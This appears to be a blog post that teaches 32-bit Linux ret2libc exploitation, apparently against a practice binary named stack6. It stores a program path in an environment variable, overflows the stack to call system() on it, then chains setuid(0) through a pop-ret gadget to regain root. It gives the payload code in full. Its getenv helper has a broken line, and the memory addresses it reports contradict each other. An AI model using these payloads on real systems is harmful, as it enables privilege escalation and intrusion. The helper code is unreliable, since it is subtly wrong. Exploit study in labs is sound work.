hi there, a quick note about the use of environment variables and setuid() call on 32bit app/OS.
we should already know that bash drop privs if not invoked with -p, but i also found that on most of my linuxes i loose suid privs when calling libc system().
let’s split this post in two part, the first task is to execute a path from env while the second task is to get back uid(0).
sometimes you don’t want, or can’t, spawn a shell but prefer to run another program or script, let’s call it /tmp/runme
libc gadgets’ are endless, but i bet you won’t find /tmp/runme anywhere, and here we can use the good ol’ environment to store the string.
what we do is
export RUNME=/tmp/runme
if you google, you will surely found other example with more leading slashes because it can help to avoid wrong address, but we don’t really need it
now using any getenv like:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if(argc < 3) {
printf(“Usage: %s <environ_var> <target_program>\n”, argv[0]);
exit(-1);
}
char *addr_ptr;
addr_ptr = getenv(argv[1]);
addr_ptr+= getenv(strlen(argv[0]) - strlen(argv[2]))*2;
if(addr_ptr == NULL) {
printf(“Environmental variable %s does not exist!\n”, argv[1]);
exit(-1);
}
printf("%s is stored at address %p\n", argv[1], addr_ptr);
return(0);
}
we should find the address of our env var in memory:
$ ./getenv RUNME stack6
RUNME will be at 0xffffdf20
also gdb can be used to address the same job using something like x/10s *((char **)environ), but gdb adds his own variable and the offset is slightly different.
kept note that getenv finds RUNME at 0xbffff736, we place this address in runme var to get a mnemonic value.
we now build our payload like:
p = ‘A’*50 # arbitrary offset to achieve a stack overflow
p+= p32(system)
p+= p32(exit) # we like to keep it as clean as possible
p+= p32(runme)
and we will see your /tmp/runme executed.
as i said before, i got stuck as uid(1000) too many times recently and i wanted to get back my beloved uid(0).
we can see lot of examples online about shellcodes that setuid/setruid but i started this with libc in mind and i wanted to finish in libc, so i used setuid().
and here is the second part, where we take our basic ret2libc and get it somewhere close to ROP to keep our privs.
we indeed will use a pop ret instruction, pop ebp in this example to feed the call.
we should be able to find setuid() call address in libc like we did for system() and exit() call, we just have to build our chain like this:
p = ‘A’*50 # arbitrary offset to achieve a stack overflow
p+= p32(setuid)
p+= p32(popret) # pop ebp; ret
p+= “\x00\x00\x00\x00”
p+= p32(system)
p+= p32(exit) # we like to keep it as clean as possible
p+= p32(runme)
and we’re now uid(0) again